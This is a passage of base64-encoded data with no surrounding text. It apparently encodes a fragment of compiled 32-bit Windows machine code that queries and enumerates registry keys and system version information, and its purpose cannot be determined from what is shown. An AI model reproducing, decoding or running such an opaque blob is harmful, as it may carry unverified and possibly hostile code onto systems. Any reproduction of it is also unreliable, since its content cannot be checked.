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 